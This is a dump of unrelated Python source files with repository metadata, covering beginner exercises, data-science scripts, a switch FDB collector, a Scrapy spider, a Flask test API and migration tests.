4903c2e119a2ae7b13e02f8ad64b84a95e43e154
refs/heads/master
2023-07-27T14:50:42.742495
2021-09-11T16:21:23
2021-09-11T16:21:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,311
py
jirp.py
""" JIRP based method """ import random import IPython from baselines import logger from seeds import set_global_seeds import numpy as np import os.path from rl_agents.jirp.sat_hyp import sat_hyp from rl_agents.jirp.util import * from rl_agents.sjirp.util import * from rl_agents.jirp.consts import * from rl_agents.sji...
4823638b0aef890a92c956db2bb9692efb471e9a
54dfec9e554eebc744e591bbe79a94ef5ebd6061
/Rhea_Chip/tools/cnv/GCcorrect.py
a95c816df5e24b7b579f862074dd6267f75c63cb
[]
no_license
raksasa/Rhea_Chip
6bf013411b6e3a2111e2c14ebd44d0b7f62dae31
03bb6470d60f50483613c283b31c4ab2128bf7e8
refs/heads/master
2021-12-11T04:30:32.646342
2016-10-14T02:58:43
2016-10-14T02:58:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
4,440
py
GCcorrect.py
#! /usr/bin/env python # -*- coding: utf-8 -*- # 代码有问题别找我!虽然是我写的,并且我觉得它是没问题的,如果不是你的操作原因,或许是它自己长歪了! import pysam import os import sys import numpy as np import statsmodels.api as sm from smart_open import smart_open from Rhea_Chip.lib import cnv from Rhea_Chip.lib import DescribeArray from Rhea_Chip.lib.cnv import _chr...
03a3a92a3c3cd0644f8c30bb45abce265ad5d061
6ae74f2a439ea90ddd58b286b55bfd0b3c2c7111
/markdownToHtml/md2html.py
137b262174b5311ad08e1a4788b146ebe6a2ee91
[]
no_license
huangxiquan/python
5f7b2c51df9fd117476698eb1699f01a1c9e26e9
6508e8224020da761362ebbfbe521c8781cb4024
refs/heads/master
2021-01-01T03:42:18.193680
2017-07-19T07:19:46
2017-07-19T09:47:25
59,715,512
0
0
null
null
null
null
UTF-8
Python
false
false
1,290
py
md2html.py
import markdown import os import os.path from bs4 import BeautifulSoup rootDir = '/Users/huangxiquan/huangxiquan/temp/FFWiki.wiki' def walkDir(dir) : if(not dir or dir.startswith('.')) : return list = os.listdir(dir) for file in list : if(os.path.isdir(file)) : walkDir(file) ...
bb82539801dbe5442b85d86f746b6cbf13082c7a
89ba91eb336b67534e2ebb7e08c35fdb202aff1e
/WEEK03/primerange.py
ca2282cd9ef11ac445bf1c111a4774cd7e6a8742
[]
no_license
mindful-ai/teq-b5-py-dsc-ml
f57a593d2a88a85e65642fa3e4275534a95eeff9
18500655b1d31423879b5dad76bb606d9c2c7610
refs/heads/master
2020-12-26T05:32:17.926816
2020-03-02T16:47:37
2020-03-02T16:47:37
237,402,025
0
0
null
null
null
null
UTF-8
Python
false
false
415
py
primerange.py
# import required modules import myprime # input start = int(input('Enter a start point: ')) end = int(input('Enter the end end point: ')) # process primes = [] for num in range(start, end+1): # start of the for loop if(myprime.checkprime(num)): # check if the number is prime primes.append(nu...
e43bbf55895f44d7d525d0878aa2e20e8f46ca94
80daeb8e26f6f8257042b854081cd73a0f996133
/free.py
959ff87b3ac03aa42edf936e5e8678d6a86617c8
[]
no_license
ssandyy/pythonpro
fcfa0511fb11e8984653922dedf88b4b400c918a
1d2e18d590338561b1d8fc24bb740745f8ac19ad
refs/heads/master
2020-03-28T10:54:16.996207
2018-09-10T13:12:04
2018-09-10T13:12:04
148,157,314
0
0
null
null
null
null
UTF-8
Python
false
false
458
py
free.py
from datetime import * today=datetime.today() print("Today is : ",today) for attr in ['day','month','year','hour','minute','second','microsecond']: print(attr,':\t',getattr(today,attr)) #print('Time:',today.hour,today.minute,today.second,sep=':') day=today.strftime('%A') month=today.strftime('%B') year=to...
dcf6192983ef3aaeaed001a29c5d9d9a38acaea8
7a1f6f1aae43b219cd34c3c9b907923fb839e6f5
/Python/Python2nensei/python2nen_sample/chap1/chap1-3.py
2c819c6417e5716a7e369432993ce5691efa2fab
[]
no_license
amanoman/amanoman.github.io
b5afc80e0e49ed15db793e2ebf69003c05ab8ce0
141c928f6d1df0389859f663f6439d327d4c32d6
refs/heads/master
2023-05-28T07:22:09.735409
2021-03-31T15:00:14
2021-03-31T15:00:14
187,139,297
0
1
null
2023-05-22T23:37:24
2019-05-17T03:19:36
Jupyter Notebook
UTF-8
Python
false
false
429
py
chap1-3.py
import requests # Webページを取得する url = "https://www.ymori.com/books/python2nen/test1.html" response = requests.get(url) # 文字化けしないようにする response.encoding = response.apparent_encoding # ファイルを書き込みモードで開いて filename = "download.txt" with open(filename, mode="w") as f: # ネットから取得した読み込んだデータを書き込む f.write(response.text)
9c2a18784b90ddca4b49347d23bbb4b1afdcdb15
8e9fac4a9613d8c2c43ecfe9d81e88a36c383871
/csv_comparer.py
c8d28c4e7ac1d3a0f7eee815533da82677fa9b92
[]
no_license
eilin/data-comparer
9f4152c2efa5e5e56f2bed743a2d0033479a9ad9
70f3c2f6df5c92ac6aa3d45dce43f7c9262274d9
refs/heads/master
2022-12-15T14:55:43.322060
2020-08-24T19:09:02
2020-08-24T19:09:02
290,016,475
0
0
null
null
null
null
UTF-8
Python
false
false
1,272
py
csv_comparer.py
a_params = { 'data_name': 'test_a', 'filename': 'test_a.csv', 'key_idx': 0, 'val_idx': 1, 'is_compound_key': False, 'ckey_indexes': [0, 1] } b_params = { 'data_name': 'test_b', 'filename': 'test_b.csv', 'key_idx': 0, 'val_idx': 1, 'is_compound_key': False, 'ckey_indexes': [0, 1] } def build_di...
9e2b04b615be60f6f71767eaf0af7e64eadb911e
149eb50d8f97186da71d42930f11e048c84aad56
/classification/titanic/tf/titanic_0.1.py
fc67f5787affad3ae8b68edd54a806c6a8ded6c8
[]
no_license
spicyramen/deep_learning
ada9a295a51ff503a28d0e145a700c6e1d862608
76ec4f92f17a8cbfab2cf371a1372c2263f8ea0e
refs/heads/master
2021-09-14T21:10:12.867552
2018-05-19T22:04:04
2018-05-19T22:04:04
113,137,403
0
0
null
null
null
null
UTF-8
Python
false
false
1,686
py
titanic_0.1.py
import pandas as pd import tensorflow as tf import random from sklearn.model_selection import train_test_split from sklearn.metrics import accuracy_score from sklearn.linear_model import LogisticRegression data = pd.read_csv('data/titanic.csv') random.seed(42) _N_CLASSES = 2 _LEARNING_RATE = 0.05 _TRAIN_STEPS = 200 ...
1c7ec45fec25ccb1cff1cc5c0e952edbf4708af6
f835ed9db8702ea22fa3620d4ff8f2eef9e66153
/Assignment/fibonacci.py
dbe9a2664f1b5c2ac702af9cb6a7fd2e62634046
[]
no_license
madhavsullad/dummy_python_repo
0ea700d1eeb90b3e10342b38010a227202d01113
dd4fa9b346c35e0e0020283f4a8173d59ce779fb
refs/heads/master
2020-06-05T01:59:14.400473
2019-06-18T05:06:49
2019-06-18T05:06:49
192,273,878
0
0
null
null
null
null
UTF-8
Python
false
false
201
py
fibonacci.py
n = int(input('Enter the number:')) n1 = 0 n2 = 1 c = 0 print('Fibonacci series are:') if n == 1: print(n1) else: while c < n: print(n1, end = ', ') nn = n1 + n2 n1 = n2 n2 = nn c += 1
b3c4142170e7e897c6fd3125d8f5054c5d57e23f
1da15a9d00b1aa0325ed3f534a3784501303461a
/fdb.py
a87667571a216659a152a1dafc74ac9c48302d91
[]
no_license
xorand/fdb-python
7b3fd09808147b0c37e235df11a5c37bfd63f0b8
2edb5b218d3b429b5577eee70be8a287ba2d1165
refs/heads/main
2023-07-19T02:09:39.697895
2021-08-31T06:28:12
2021-08-31T06:28:12
401,600,905
0
0
null
null
null
null
UTF-8
Python
false
false
6,098
py
fdb.py
#!/usr/bin/env python3 from argparse import ArgumentParser from pysnmp.entity.rfc3413.oneliner import cmdgen import paramiko import mysql.connector from fdb_cfg import * def fetch_fdb(ip, community): mib = '1.3.6.1.2.1.17.7.1.2.2.1.2' value = tuple([int(i) for i in mib.split('.')]) generator = cmdgen.Com...
331a07943ba16c55da3994f7a692bd0e3bd226f6
cca5d8894f092a09f0cd201cf4189f8762e9a354
/python-practice/scrapy-selenium/scrapy-practice/proxyCheck/proxyCheck/spiders/kdlspider.py
61c8a79977049b2b2b82ea7113265de24caa5bf3
[]
no_license
cxyluxixi/origin
878b1f679e8ece0dc7353b6720a7312e8f55e4b2
492768f82e9cb61015baa5fa5f6fccf7071dbbd3
refs/heads/master
2022-12-20T22:57:46.530210
2020-11-15T13:22:20
2020-11-15T13:22:20
144,032,224
0
0
null
2022-12-07T22:35:22
2018-08-08T15:19:19
Jupyter Notebook
UTF-8
Python
false
false
712
py
kdlspider.py
# -*- coding: utf-8 -*- import scrapy from proxyCheck.items import ProxycheckItem class KdlspiderSpider(scrapy.Spider): name = 'kdlspider' allowed_domains = ['kuaidaili.com'] start_urls = ['http://kuaidaili.com/'] for i in range(1,6): start_urls.append('http://www.kuaidaili.com/free/inha/' + st...
9dab3c546378dfd50b71a67d514a9a40dfbbf9fe
e376aef23f0c3d3d810bed530d13c8ef5538beca
/bell/apps.py
e3b332414b418af3d4c6fa7bd131fc0ac0df838a
[]
no_license
parkchu/pitube
d20d477656a0c8cb7555e6a2b3b5d2d21fd280b0
792ffa3de5361d90daea4ae99f2a2a411d988076
refs/heads/master
2022-09-27T05:00:01.647501
2020-06-05T09:43:35
2020-06-05T09:43:35
255,579,152
0
0
null
null
null
null
UTF-8
Python
false
false
83
py
apps.py
from django.apps import AppConfig class BellConfig(AppConfig): name = 'bell'
2d621069d2421804bcefe0df5db5f80891a81235
1afceb35279044b86097277aac35edc9217c36f7
/Exercicio_Qual maior numero.py
a50218f5a815b7df23f2a88f69c9f27c1c241278
[ "MIT" ]
permissive
SkiereszDiego/Logica-de-Programa-o-e-Algoritmos-e-Programa-o
2b8ca2a26524a24353d80b4f1fbeb823bdd4f4c4
c1e998edf9e2cb8ec8724ba4efdd7677c6838a50
refs/heads/master
2023-03-14T01:34:25.013437
2021-03-05T22:39:21
2021-03-05T22:39:21
281,750,695
0
0
null
null
null
null
UTF-8
Python
false
false
322
py
Exercicio_Qual maior numero.py
'''6. Fazer um algoritmo para ler dois números e mostrar o maior deles.''' a = float(input("digite um numero:")) b = float(input("digite outro numero:")) if ( a > b): print ( "O maior numero é o ", a) elif ( a == b): print ('Os numeros são iguais!') else: print ('O maior numero é o ', b)
c10b26c9be9641e1bbd47f7b345827c228eadd10
0f61ce13277a169a65a809a2f61bd884a19b868e
/sandbox/plts.py
2c19f3906731cf390dda4f54a92a1e34607b25d5
[ "MIT" ]
permissive
tms1337/crypto-trader
3652f8d0c721cfed5e36479014d2649de49ce96f
1fc965d41b4d4e2b637153bfcac0fd2c9f9c46d2
refs/heads/master
2023-07-19T18:07:38.932908
2017-10-22T17:45:56
2017-10-22T17:45:56
96,236,363
0
0
null
null
null
null
UTF-8
Python
false
false
484
py
plts.py
import matplotlib.pyplot as plt import matplotlib.mlab as mlab import pandas as pd import numpy as np import math df = pd.read_csv(sep=" ", filepath_or_buffer="/home/faruk/Desktop/crpyto-data/eth_daily_ohlc_all.csv") data = df.values closing_prices_delta = [] for i in range(1, len(data)): closing...
470f8ed1b5dbe1f7f77d89baf38126228ca8e88e
91648b634793e0c3de2dd1ebbb569d49cb62f01e
/api/api.py
b62dab4fc18869ea97b23e9d94cc0c1fee150453
[]
no_license
seanyboy271/api-practice
92d30095719156d231904e37fa8447f1a971fc9c
f6583578f884977241b16d1b4713b6fc57c07d08
refs/heads/master
2020-07-26T03:52:04.661736
2019-09-15T03:40:08
2019-09-15T03:40:08
208,525,630
0
0
null
null
null
null
UTF-8
Python
false
false
1,124
py
api.py
import flask from flask import request, jsonify import os app = flask.Flask(__name__) #create flask app app.config["DEBUG"] = True @app.route('/', methods=['GET']) #Set route to / and method to get. def home(): return "<h1>Test API</h1><p>This is meant to test the feasibility of creating an api for the capstone ...
5d99b76ddf444b82235353a54208c1d10e8e37c1
16ca6a7afcd4f62b055d6ba1c9841b59c1b15082
/configs/faster_rcnn/faster_rcnn_r50_fpn_1x_coco.py
c5d6dd2e27d62d50d0e671d7d8dda777be53e8cf
[ "Apache-2.0" ]
permissive
mengqiDyangge/HierKD
787365f22eb4b25cb64bb9e255f7824be06a9541
18b2307eb7a98e45b6e6d3d30e2a72e13da86c7b
refs/heads/main
2023-05-23T09:04:31.348978
2022-08-25T14:59:41
2022-08-25T14:59:41
470,613,658
34
1
null
null
null
null
UTF-8
Python
false
false
238
py
faster_rcnn_r50_fpn_1x_coco.py
_base_ = [ '../_base_/models/faster_rcnn_r50_fpn.py', '../_base_/datasets/coco_detection.py', '../_base_/schedules/schedule_1x.py', '../_base_/default_runtime.py' ] data = dict( samples_per_gpu=4, workers_per_gpu=4, )
d2f0cb8cf7c48111e7995c72fc3fda22e7558526
3f01897524a19b154625760d05ffbb4b64ba0b27
/scratch/shawn/logtimingpackets.py
c211000d63f57e7ba2f6fca37b1e798bf6a13818
[ "BSD-2-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
slaclab/pysmurf
4f6d89f54d21b4d1f19d0e787655865cf4500a6b
3ed5cb3c9496872c953fcb275e8a8cfba1c19482
refs/heads/main
2023-08-16T13:06:05.571830
2023-07-11T23:56:20
2023-07-11T23:56:20
173,169,994
4
12
NOASSERTION
2023-09-04T21:07:59
2019-02-28T18:56:07
Jupyter Notebook
UTF-8
Python
false
false
3,138
py
logtimingpackets.py
from epics import PV import os import sys slots=[2,3,4] cadence_sec=5 pvs = {} for slot in slots: pvs[slot]={} pvs[slot]['sofCount'] = PV(f'smurf_server_s{slot}:AMCc:FpgaTopLevel:AmcCarrierCore:AmcCarrierTiming:TimingFrameRx:sofCount') pvs[slot]['eofCount'] = PV(f'smurf_server_s{slot}:AMCc:FpgaTopLevel:Am...
5fdb1de5553c5c9493b8e519b4822b0961726206
56eb496a6a84ab83a058cde64e5d5732772b7214
/tests/test_cli.py
c173e3023de8a9f1d23e201250dce04dc2919d56
[]
no_license
klen/peewee_migrate
e15d5a459e2f8893057dbfefcdffce7e2939b31d
daa96cea3e1ccba6733b8a52ca1b04fa1e20872c
refs/heads/develop
2023-08-29T15:47:01.427100
2023-08-07T11:41:50
2023-08-07T11:41:50
27,434,828
364
104
null
2023-08-07T11:33:27
2014-12-02T13:59:17
Python
UTF-8
Python
false
false
2,842
py
test_cli.py
import pytest from click.testing import CliRunner from peewee_migrate.cli import cli, get_router runner = CliRunner() @pytest.fixture() def dir_option(tmpdir): return "--directory=%s" % tmpdir @pytest.fixture() def db_url(tmpdir): db_path = tmpdir / "test_sqlite.db" db_path.open("a").close() retur...
8b28c22ecce5f16b802303cba8be09fb665d27e7
dbdfbc9b5553f46f91775766817ff7e3e3a85eea
/crops/scan.py
67688dbe20874f183ac76db3daf993709db5af0d
[]
no_license
Shawn930808/Crops
122680b7d71a5876d5c4777481d71eeec85e6f7d
b43ec816e4941447006639e36b41e63e8e60ef68
refs/heads/main
2023-06-27T21:20:19.115719
2021-07-30T13:56:33
2021-07-30T13:56:33
391,082,175
0
0
null
null
null
null
UTF-8
Python
false
false
4,989
py
scan.py
import argparse import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import datasets from torchvision import transforms from torch.autograd import Variable import importlib from datasets.utils import heatmap_collate from train import Trainer from torch.optim.lr_scheduler import...
1dcb206056711b0e468cdd50d3b5219bf6a24ccc
5b88a158df4c994c84454bfca7f424c901a423fc
/Homeworks/Homework1/traveling_salesman_test.py
66244c95dcab9158dea06513e7987daf5a3e9e7c
[]
no_license
Iam-L/cs344
68fb2a0b3efab3a52d0162e6712cb5a8968fc444
22583eebf7746531e1695c8ee7b748cf689c6fde
refs/heads/master
2020-07-21T03:04:39.549176
2019-05-29T05:36:02
2019-05-29T05:36:02
206,747,197
1
0
null
2019-09-06T08:17:28
2019-09-06T08:17:27
null
UTF-8
Python
false
false
7,682
py
traveling_salesman_test.py
""" Course: CS 344 - Artificial Intelligence Instructor: Professor VanderLinden Name: Joseph Jinn Date: 2-20-19 Homework 1 - Problem Solving Traveling Salesman Local Search Problem "Unit" Testing Class. Note: I have optimized the actual code in traveling_salesman.py. This was mostly development/testing code. Diff...
c3c404d1e3986e8de2f2350b1fd7dab00d776afc
a55496a955fc3e74e893a5692385b0f7c2a9ebfd
/1028_보물상자 비밀번호.py
db0aee1963c254d578aab31756dbdd76c3645408
[]
no_license
i-cluster/Study
ab74c524875e5dac1ae1acd8f61b03d44a88c8de
1c85caa0f27bfaace99514a1713799af07023cc5
refs/heads/master
2023-04-14T17:34:40.679721
2021-04-29T12:23:10
2021-04-29T12:23:10
309,609,722
0
0
null
null
null
null
UTF-8
Python
false
false
601
py
1028_보물상자 비밀번호.py
# SWEA 5658 import sys sys.stdin = open('sample.txt', 'r') for tc in range(1, int(input())+1): n, k = map(int, input().split()) nums = input() n //= 4 # 비밀번호 배열 pw = [] for _ in range(n): # 숫자 4개를 비밀번호 배열에 저장 for i in range(4): num = nums[i * n:i * n + n] ...
50a59849e3c5af4db88f67d5249258bee702dc83
6375f47eec4589746888b66e086476349c016ee1
/Test.py
ea9ee65bc9c473a73a00f71c4659567dab1046fa
[]
no_license
asaadam/TextMining
a6ff77dcaee07e2f0f9d6bfd19af545718affedb
43a107788d032da4da2a445afa305f227c372460
refs/heads/master
2020-09-14T10:16:32.670589
2019-11-21T06:10:59
2019-11-21T06:10:59
209,998,949
0
0
null
null
null
null
UTF-8
Python
false
false
707
py
Test.py
class Test: @staticmethod def main(): num_list = [(151258350, 2464), (151258350, 56), (151262958, 56), (151258350, 56), (151262958, 112), (151262958, 112), (151259627, 56), ...
50bd67939e7ef1a659b2dae2b387e9bc73cdad02
3a29520f5a0f69640f6a3db1a44f86e47129c00f
/content.py
017ab66dca13576ffbeded3c6017c372908992e2
[ "MIT" ]
permissive
juliakaranja/restaurant-recommendation-system
fddb0449301f9519bf1c49cafd5960fc33aa5e51
a52068198283a825ea13e586e9e98e0bfd2008eb
refs/heads/main
2023-03-16T08:05:17.485356
2021-01-25T08:45:05
2021-01-25T08:45:05
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,199
py
content.py
import numpy as np import pandas as pd import sklearn import streamlit as st from sklearn.feature_extraction.text import CountVectorizer,TfidfVectorizer from sklearn.metrics.pairwise import cosine_similarity, linear_kernel #path to data toronto_URL= "/home/cate/Cate/restaurant-recommendation-system/data/new_toronto_...
4fb90a4e57d724ecb6a5a7b159fca9375f1260b8
02e92b4c5383d48ad51bbf5498516a42c2040027
/lcm/ns/biz/ns_instant.py
195947119a00f466c99b9c93fa0b681bb5ccf487
[ "Apache-2.0" ]
permissive
onap/vfc-nfvo-lcm
bb8850e0b566ac3faabfcda38e8be19d32c9f51e
129029584597941bb7603dd7440b7d37f823ef96
refs/heads/master
2023-07-20T01:03:14.557364
2023-07-04T11:43:14
2023-07-05T15:29:09
115,762,916
5
3
NOASSERTION
2021-06-29T18:31:48
2017-12-30T00:15:22
Python
UTF-8
Python
false
false
14,809
py
ns_instant.py
# Copyright 2016-2017 ZTE Corporation. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed t...
c92677f9ab634b86f48b818b8a5bf91f5ae09f6d
00c01acaa692ce75c70784abf47933dc7ee53a95
/ultraopt/optimizer/base_opt.py
04cbc54ea10c2d7741f41b5777567aae2f581f6b
[ "BSD-3-Clause" ]
permissive
XrosLiang/ultraopt
1e2231565b8ba4b989ee12e1ca86e7508256a84b
6ff221027c4b1b022499d0b7d46b65f18815ada8
refs/heads/main
2023-02-14T00:33:08.215621
2021-01-12T02:41:44
2021-01-12T02:41:44
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,220
py
base_opt.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Author : qichun tang # @Contact : qichun.tang@bupt.edu.cn from collections import defaultdict from copy import deepcopy from math import inf from time import time from typing import Tuple, Union, List, Dict import numpy as np from ConfigSpace import Configuration fr...
ac43faaf37899a0b84b839a361c3e11763f7901a
c9f44f4c76fbeefeb8a713b114dcf15d8106945b
/site/isannounces/mlmgr/admin.py
85b2618f82ea33099fffdf76b2cb9b76d2cf7e17
[]
no_license
cgaspoz/isannounces-old
98ce55832cfc47b2ea83ed7b2796c43c5c3a012e
e2aa15bdaba241b7077b710e080def7089e7a7af
refs/heads/master
2020-05-20T14:28:25.962698
2010-10-13T22:25:32
2010-10-13T22:25:32
null
0
0
null
null
null
null
UTF-8
Python
false
false
175
py
admin.py
from django.contrib import admin from isannounces.mlmgr.models import MailingList, MailingListMessage admin.site.register(MailingList) admin.site.register(MailingListMessage)